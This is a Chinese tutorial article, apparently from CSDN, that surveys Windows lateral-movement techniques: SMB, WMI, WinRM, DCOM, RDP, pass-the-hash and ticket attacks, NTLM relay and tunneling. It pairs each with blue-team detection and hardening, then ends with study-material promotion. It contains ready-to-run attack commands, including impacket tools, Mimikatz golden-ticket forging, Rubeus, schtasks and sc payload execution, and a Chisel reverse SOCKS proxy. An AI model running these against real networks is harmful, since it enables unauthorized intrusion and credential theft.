免责声明本文内容仅用于授权渗透测试、红蓝对抗、安全运维学习全部实验操作请在自建隔离靶场完成。未经授权对内网主机进行探测、横向渗透属于违法行为请严格遵守《网络安全法》相关规定。前言当红队拿下内网第一台机器之后下一步核心动作就是横向移动Lateral Movement。从单台沦陷主机跨越网络访问内网其他服务器、工作站一步步扩散权限最终拿到域控、数据库、业务核心服务器这是内网渗透最核心的环节。很多新手学习横向移动只会记住 PsExec遇到防火墙拦截 445 端口直接束手无策。实际护网、红蓝对抗环境中攻击者手段非常丰富SMB 系列、WMI、WinRM、DCOM、计划任务、服务、RDP、各种票据传递、NTLM 中继、AD‑CS 证书攻击甚至还有漏洞利用、隧道代理跳转、第三方服务滥用。网上资料大多零散只讲命令不讲前置条件、坑点、检测特征。本文万字长文按照技术大类完整梳理 Windows 内网主流横向移动技术每一种包含原理、端口、利用前置条件、工具命令、实战踩坑、蓝队检测特征。同时区分工作组环境、域环境最后给出红队实战选型思路、蓝队全套防御检测方案。重要概念横向移动两大前提网络可达跳板机与目标主机端口互通防火墙、安全组、VLAN 隔离会直接废掉绝大多数手段有效凭据明文密码、NTLM‑Hash、Kerberos 票据、数字证书没有凭据大部分原生横向移动无法执行只能依靠漏洞 EXP。适合内网渗透学习者、红队人员、护网蓝队运维、应急响应工程师阅读。一、横向移动技术整体分类按照 MITRE ATTCK 框架 T1021 横向移动大类我们划分为五大类别SMB 协议系列横向移动445 端口最经典护网最常见Windows 原生远程管理接口WMI、WinRM、DCOM、计划任务、远程服务远程桌面 RDP 协议横向移动3389凭据票据类横向移动PtH 哈希传递、PtT 票据传递、Overpass‑the‑Hash、黄金 / 白银票据、AD‑CS 证书 PKINIT中继、漏洞、代理隧道、第三方服务横向NTLM Relay、漏洞 EXP、代理跳板、FTP/SMB 弱口令等注意很多技术是 “组合关系”例如 IPC$ 共享只是文件通道配合计划任务才实现命令执行PtH 是凭据技术可以搭配 PsExec、WMI、WinRM 多种协议使用。二、SMB 协议系列横向移动TCP 445SMB 是 Windows 文件共享协议端口 TCP445历史上内网横向的 “主力军”。工作组、域环境都支持。前置通用条件目标 445 端口开放拥有管理员凭据默认管理共享 Admin(、C)开启很多企业加固关闭 Admin$直接导致 PsExec 失效CSDN博…。2.1 PsExec原理Sysinternals 工具集经典工具通过 SMB 上传 PSEXESVC 服务二进制到 Admin$ 共享注册一个临时服务启动服务执行命令执行完毕删除服务文件返回执行结果CSDN博…。工具原版 PsExec、impacket‑psexec、CobaltStrike psexec 模块。Linux Impacket 示例impacket-psexec domain/administrator:Password123192.168.10.20 # 使用Hash传递 impacket-psexec domain/administrator192.168.10.20 -hashes :aad3b435b51404eeaad3b435b51404eeWindows 本地执行PsExec.exe \\192.168.10.20 -u administrator -p Password123 cmd.exe实战踩坑点目标关闭 Admin$ 管理共享PsExec 直接失败杀毒 EDR 对PSEXESVC服务特征检测极强红蓝对抗极易告警UAC 远程限制工作组环境普通管理员本地账号远程 SMB 访问会触发 UAC 远程过滤拒绝登录。蓝队检测特征日志服务创建事件 ID 7045服务名称PSEXESVCAdmin$ 共享出现临时可执行文件短时间 445 大量登录、服务创建。2.2 SmbExec无文件 PsExec 替代原理SmbExec 不再上传 exe 二进制到磁盘。利用 SMB 远程服务控制把命令写入目标机器C:\Windows\Temp下 bat 脚本创建服务调用 cmd 执行脚本执行完删除脚本文件。磁盘只留下批处理脚本没有 exe 落地规避部分针对 PSEXESVC 的查杀。Impacket smbexecimpacket-smbexec domain/administrator:Password123192.168.10.20坑点会在目标磁盘留下临时 bat 脚本痕迹依然依赖 Admin$ 共享。2.3 WmiexecIPCWMI 复合高频很多人归类 WMI底层建立 IPC(命名管道通过WMI接口执行命令不需要Admin)共享。端口135445。impacket-wmiexec domain/administrator:Password123192.168.10.202.4 IPC$ 配合计划任务at /schtasks老式稳健手段IPC$ 共享445本身不执行命令只提供远程文件读写。攻击者流程建立 IPC 连接把恶意脚本上传到目标主机远程创建计划任务定时触发执行执行完成删除任务与脚本。旧版 Windows 使用at命令Win10/Server2016 之后推荐schtasks。Windows 示例net use \\192.168.10.20\ipc$ Password123 /user:administrator copy payload.bat \\192.168.10.20\c$\windows\temp\payload.bat schtasks /create /s 192.168.10.20 /ru administrator /tn EvilTask /tr C:\windows\temp\payload.bat /sc once /st 12:00 schtasks /run /s 192.168.10.20 /tn EvilTask坑点需要开启计划任务服务时间同步差异会导致任务无法触发会留下计划任务创建事件日志。2.5 IPC$ 配合远程 SC 服务创建通过 IPC 管道调用 sc 命令远程注册服务服务执行恶意命令。sc \\192.168.10.20 create EvilService binpath cmd /c payload.exe start auto sc \\192.168.10.20 start EvilService注意服务执行 cmd 会直接闪退服务程序需要是合法 PE 程序。2.6 总结 SMB 系列共同限制防火墙封禁 445 端口 → 全部失效关闭 Admin$ 共享PsExec/SmbExec 失效但是 WMIExec、IPCschtasks 依然有可能存活工作组本地账号 UAC 远程限制现在企业护网普遍会收紧 445 跨网段访问SMB 横向越来越受限红队必须掌握其他协议手段做备用。三、WMI 远程管理横向移动端口 135 动态 DCOM 端口WMI Windows 管理规范端口 TCP135执行后会使用随机高位 DCOM 动态端口。不需要开启 Admin(共享不需要SMB管理共享在很多关闭Admin)的环境可以继续利用。3.1 wmic 命令原生 WMI 执行Windows 自带 wmic 二进制不需要上传第三方工具。wmic /node:192.168.10.20 /user:administrator /password:Password123 process call create cmd.exe /c whoami3.2 Impacket wmiexec前面已经提到Linux 跨平台最常用。impacket-wmiexec domain/admin:xxx192.168.10.203.3 Powershell‑Invoke‑WmiMethodpowershell 原生接口无文件特性。Invoke‑WmiMethod -Class Win32_Process -Name Create -ArgumentList cmd /c calc.exe -ComputerName 192.168.10.20 -Credential $credWMI 实战坑点防火墙阻止 135 端口WMI 直接失败DCOM 动态高位端口被防火墙拦截命令提交成功但是回显拿不到域环境需要目标开启 WMI 服务EDR 对 WMI 进程创建行为监控大量 wmic 调用会触发告警。蓝队检测特征事件 ID 4688wmic.exe、wmiprvse.exe 进程大量创建子进程WMI 活动日志。四、WinRMWS‑Man 协议5985/5986WinRM 是 Windows 远程管理服务HTTP 端口 5985HTTPS 端口 5986。域环境服务器经常开启。很多企业防火墙放开 5985但是封锁 445SMB 走不通的时候优先尝试 WinRM。注意WinRM 默认 Windows 服务器版本不一定开启需要管理员手动配置启用。4.1 winrs 原生命令Windows 自带 winrs 客户端winrs -r:http://192.168.10.20:5985 -u:administrator -p:Password123 cmd4.2 Powershell Enter‑PSSessionPowerShell 远程会话交互式 shell。$cred Get‑Credential Enter‑PSSession -ComputerName 192.168.10.20 -Credential $cred4.3 Evil‑Winrmkali 工具evil-winrm -i 192.168.10.20 -u administrator -H ntlmhashWinRM 坑点目标未开启 WinRM 服务无法利用防火墙拦截 5985/5986 端口需要凭据账号拥有 PowerShell 远程权限HTTPS 5986 端口流量加密传统日志不容易解析。蓝队检测事件 ID4624 登录进程 wsmprovhost.exe 大量生成。五、DCOM 组件对象模型横向移动DCOM 分布式组件对象模型复用 135 端口 动态高位端口。攻击者调用系统 COM 组件远程执行命令不需要开启 SMB 管理共享。常用 COM 对象MMC20.Application、ShellWindows、ShellBrowserWindow。Powershell 示例调用 MMC20.Application 执行命令$com [activator]::CreateInstance([type]::GetTypeFromProgID(MMC20.Application.1,192.168.10.20)) $com.Document.ActiveView.ExecuteShellCommand(cmd.exe,$null,/c whoami,7)坑点工作组 UAC 远程过滤影响动态高位端口容易被防火墙拦截Windows 新版本部分 COM 组件权限收紧。六、RDP 远程桌面横向移动TCP 3389RDP 远程桌面协议端口 3389。和前面几种不一样RDP 不是执行单条命令而是拿到完整交互式桌面会话。两种场景拿到账号密码 / 哈希直接 mstsc 登录目标桌面窃取已经登录在目标机器的用户 RDP 会话会话劫持。工具mstsc、xfreerdp (kali)xfreerdp /v:192.168.10.20 /u:administrator /p:Password123 # PtH哈希传递登录RDP需要RestrictedAdmin受限管理员模式 xfreerdp /v:192.168.10.20 /u:administrator /th:ntlmhashRestrictedAdmin 模式Win2012 及以后支持允许使用哈希登录 RDP不会把本机凭据发送到目标机器。如果不开启 RestrictedAdmin普通 RDP 不支持直接 PtH 哈希传递。实战坑点目标未开启 3389 远程桌面防火墙拦截 3389账号需要拥有远程桌面用户组权限不一定需要本地管理员大量 RDP 登录失败会触发账号锁定策略。蓝队检测4624 登录事件登录类型 10 代表 RDP 登录重点监控异常时间、异常源 IP。七、凭据票据类横向移动域环境重点不需要反复爆破密码这一类不是独立协议是凭据复用技术可以嫁接在 PsExec、WMI、WinRM、RDP 多种协议之上。拿到一份凭据在内网反复横向多台机器。7.1 PtH Pass‑the‑Hash 哈希传递原理抓取 LSASS 进程内存 SAM 数据库获得账号 NTLM Hash不需要破解明文密码直接使用 NTLM 哈希向 SMB/WMI/WinRM 做 NTLM 认证完成登录。适用NTLM 认证协议工作组、域环境都支持。工具Mimikatz、Impacket 全套工具、CobaltStrike beacon pth。mimikatz 经典命令sekurlsa::pth /user:administrator /domain:lab.local /ntlm:aad3b435b51404eeaad3b435b51404ee坑点如果域控制器启用 NTLM 阻止策略PtH 会失效需要 SeDebugPrivilege 权限 dump LSASS 获取哈希。7.2 Overpass‑the‑Hash 票据传递PtH 升级版 OTH拿到 NTLM 哈希不直接做 NTLM 登录使用哈希向 KDC 域控申请 Kerberos TGT 票据之后使用 Kerberos 票据访问内网资源。优势走 Kerberos 认证规避部分 NTLM 阻断策略。工具 Rubeus。Rubeus.exe asktgt /user:administrator /ntlm:xxx /domain:lab.local /dc:192.168.10.10 /ptt/ptt把 TGT 注入当前内存会话之后所有访问目标机器自动携带 Kerberos 票据。7.3 PtT Pass‑the‑Ticket 票据传递把窃取到的完整 TGT 票据kirbi 文件导入内存直接冒充该用户身份访问内网资源。来源攻陷机器 dump 内存拿到其他用户 TGT 票据。Rubeus.exe ptt /ticket:administrator.kirbi7.4 黄金票据 Golden Ticket拿到域 KRBTGT 账号 NTLM 哈希可以伪造任意用户任意时长 TGT 票据。属于全域持久化拿到黄金票据不需要和域控直接交互就可以横向整个域。高危KRBTGT 哈希泄露等于整个 AD 域沦陷。Mimikatz 生成黄金票据kerberos::golden /user:fakeadmin /domain:lab.local /sid:S‑1‑5‑21‑xxx /krbtgt:xxx /ptt7.5 白银票据 Silver Ticket利用服务账号哈希伪造特定服务 ST 票据访问指定机器特定服务CIFS、HOST、WMI 等。不需要和 KDC 域控通信离线伪造。只能访问对应服务权限范围小于黄金票据。7.6 AD‑CS 证书 PKINIT 证书横向前面文章讲过 ESC1 攻击获取 pfx 客户端证书通过 PKINIT 协议向 KDC 申请 TGT。证书作为身份凭证可以跨机器横向。即使账号修改密码证书依旧有效持久化能力极强。工具 Certipy‑ad auth 导入 pfx 证书获取票据。这是近几年护网非常高频的域内横向手段不依赖 NTLM 哈希。八、NTLM Relay 中继攻击间接横向不需要拿到凭据NTLM 中继本身不直接执行命令是中间人攻击。攻击者接收 NTLM 认证请求中继转发到目标服务器借用受害者身份完成认证实现横向移动。经典场景PetitPotam 诱导域控机器账号向攻击者 IP 发起 NTLM 认证ntlmrelayx 把机器账号身份中继到 SMB 目标机器执行命令ESC8 中继到 AD‑CS Web 注册接口拿到域控机器证书。impacket-ntlmrelayx -smb2support -t smb://192.168.10.20前提条件目标没有开启 EPA 扩展保护认证SMB 签名没有强制开启。现在新版 Windows 默认开启 SMB 签名中继攻击成功率下降但是 Web 服务HTTP依旧经常存在可中继点。重要NTLM Relay 不需要你拿到账号密码哈希诱导对方主动过来认证实现拿权横向。九、漏洞 EXP 实现横向移动前面所有手段都需要合法凭据如果拿到没有凭据的普通权限可以直接利用远程服务漏洞实现横向。常见真实护网场景PrintNightmare 打印漏洞远程代码执行MS17‑017 永恒之蓝 SMB 漏洞Exchange 系列漏洞各种业务服务未授权、命令执行漏洞。特点不需要账号凭据但是需要对应漏洞 EXP大部分现代服务器已经打补丁。十、代理、隧道、跳板跳转跨网段横向移动上面所有技术都要求跳板机和目标网络直接互通。现实内网经常多层网络隔离A 网段能访问跳板跳板能访问 B 网段A 不能直接访问 B。这时需要代理隧道做跳转把流量经过沦陷主机代理过去再执行前面各类横向技术。10.1 SOCKS 代理Chisel、Proxychains、SharpSocks。流程沦陷机器开启反向 socks 代理攻击机本地监听 socks 端口proxychains 把工具流量全部经过跳板转发到隔离内网之后 impacket、evil‑winrm 全部走代理访问目标主机。Chisel 示例攻击机./chisel server -p 8080 --reverse沦陷 Windows 跳板机执行chisel.exe client 攻击IP:8080 R:socks本地 1080 开启 socks 代理proxychains 配置指向 1080 端口之后所有工具流量自动走跳板跨网段横向。10.2 SSH 端口转发如果内网存在 Linux 跳板主机利用 SSH 本地、远程转发打通隔离网段。10.3 CobaltStrike Beacon 内网代理beacon 内置 socks4a 代理实现多层内网穿透跳转。注意隧道代理只是打通网络不会直接拿权限隧道打通之后依旧需要凭据或者漏洞完成真正横向执行。十一、非 Windows 主机横向补充简单梳理很多人只关注 Windows真实内网大量 Linux 服务器。SSH 弱口令、密钥泄露拿到私钥 ssh 登录多台 LinuxSSH 代理转发做跨网段跳转滥用 sudo 权限远程命令执行漏洞 EXPLog4j、Spring 系列远程拿权横向MySQL、Redis 未授权访问写 webshell、写 ssh‑key 实现横向。十二、红队实战横向移动选型思路护网真实流程拿到第一台沦陷主机之后红队一般按照下面优先级尝试横向手段先抓取本机全部凭据dump lsass、sam收集明文、NTLM 哈希、kerberos 票据、pfx 证书。凭据是横向的弹药库。内网端口扫描探测存活主机开放端口445 开放优先尝试 SMB 系列wmiexec 优先规避 PsExec 高告警445 被防火墙拦截看 5985/5986 开放使用 evil‑winrm3389 开放RDP 登录135 开放 DCOM/WMI 备选域环境优先检查 AD‑CS尝试证书攻击获取高权限凭证如果没有凭据寻找可中继 NTLM 目标或者寻找远程漏洞 EXP如果目标网段隔离搭建 socks 隧道跳板继续对内网其他网段横向。实战经验不要死磕 PsExec现在大量企业封禁 445 端口WinRM (5985)、Kerberos 票据、证书攻击成功率越来越高。哪些手段隐蔽性高红蓝对抗 OPSEC 选择参考高告警PsExecPSEXESVC 服务极易 EDR 告警中等告警WMI、schtasks 计划任务相对隐蔽WinRM over HTTPS (5986)、Kerberos 票据、AD‑CS 证书攻击流量加密特征少。十三、蓝队横向移动检测、告警与防御加固13.1 重点监控 Windows 安全事件 ID事件 ID含义横向移动告警关注点4624账户成功登录登录类型 2 交互式3 网络 SMB10 RDP监控异常源 IP、非工作时间登录4625登录失败短时间大量登录失败密码喷洒爆破7045服务创建监控陌生服务名称PsExec 的 PSEXESVC4688进程创建wmic、wmiprvse、winrs 异常创建 cmd/powershell 子进程4769Kerberos 票据请求异常 TGT 请求黄金白银票据行为日志需要集中收集到 SIEM 平台否则单机日志攻击者拿到权限之后可以删除。13.2 网络层面检测NDR 流量镜像监控单台主机短时间大量访问内网多台机器 445、135、5985 端口典型横向扫描行为监控跨网段异常访问办公主机直接访问数据库、域控管理端口开启 SMB 签名强制防御 NTLM 中继攻击微隔离技术不同业务网段之间默认拒绝管理端口访问最小权限放行业务需要端口即使一台机器沦陷也无法横向扩散到其他业务区。13.3 主机加固防御手段非必要关闭 Admin(、C)等管理共享防火墙收紧工作站之间默认阻断 445、135只允许运维跳板机访问服务器管理端口限制本地管理员权限大量机器不要使用同一个本地管理员密码PtH 哈希传递重灾区开启 LSA 保护防止 dump LSASS 窃取内存凭据域管理员账号禁止登录普通工作站只允许登录域控服务器避免工作站被攻陷之后直接导出域管哈希开启 WinRM、WMI 访问白名单不允许任意主机访问定期巡检 AD‑CS 证书模板阻断证书攻击链路EDR 监控异常服务创建、WMI 大量调用、Mimikatz 类内存凭据读取行为。13.4 域环境关键安全原则域管理员账号绝对不要登录普通员工工作站。一旦员工机器被钓鱼沦陷攻击者 dump lsass 直接拿到域管理员凭证立刻全域横向。很多护网失守根源就在这个配置错误。十四、新手学习横向移动高频误区总结误区 1PsExec 等于全部横向移动❌错误。很多靶场 445 全开PsExec 好用真实企业防火墙封锁 445PsExec 直接废掉必须掌握 WinRM、DCOM、票据、证书替代方案。误区 2拿到哈希所有协议都可以直接哈希传递❌RDP 普通模式不支持 PtH需要开启 RestrictedAdmin 受限管理员模式部分系统启用 NTLM 阻断策略 PtH 失效。误区 3隧道代理 Chisel 打通网络就等于横向完成❌隧道只是打通网络通路还需要凭据或者漏洞代理不会自动拿权限。误区 4票据攻击万能不受防火墙限制❌Overpass‑the‑Hash 申请 TGT 必须能够访问域控 88 端口黄金票据伪造完成后访问目标机器依然需要目标对应端口开放。误区 5横向移动全部依赖漏洞 EXP❌真实红蓝对抗绝大多数横向不是 0day 漏洞而是凭据复用。攻击者拿到一份泄露管理员哈希在内网多台机器漫游这才是护网最普遍场景。十五、总结内网横向移动手段繁多整体可以分为SMB 家族、WMI/DCOM、WinRM、RDP、凭据票据复用、NTLM 中继、漏洞 EXP、代理隧道跳转几大类。SMB445是传统王者但越来越多企业防火墙限制 445 访问WinRM 5985/5986 在现代 Windows 服务器环境成为备选主流域环境中票据传递、AD‑CS 证书攻击依靠 Kerberos 体系完成横向隐蔽性强护网高频所有横向移动两大基石网络可达 有效凭据蓝队防御核心思路微隔离阻断网络通路保护凭据不被窃取高权限账号不要登录低信任主机开启完整审计日志。对于红队不要只会死磕 PsExec多协议、多凭据手段组合环境哪条路通就走哪条对于蓝队不要只打系统补丁很多横向不依赖漏洞来自凭据泄露与配置错误。一台机器沦陷之后如果没有网络隔离攻击者可以依靠一份凭据在内网大范围横向扩散造成全域安全灾难。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】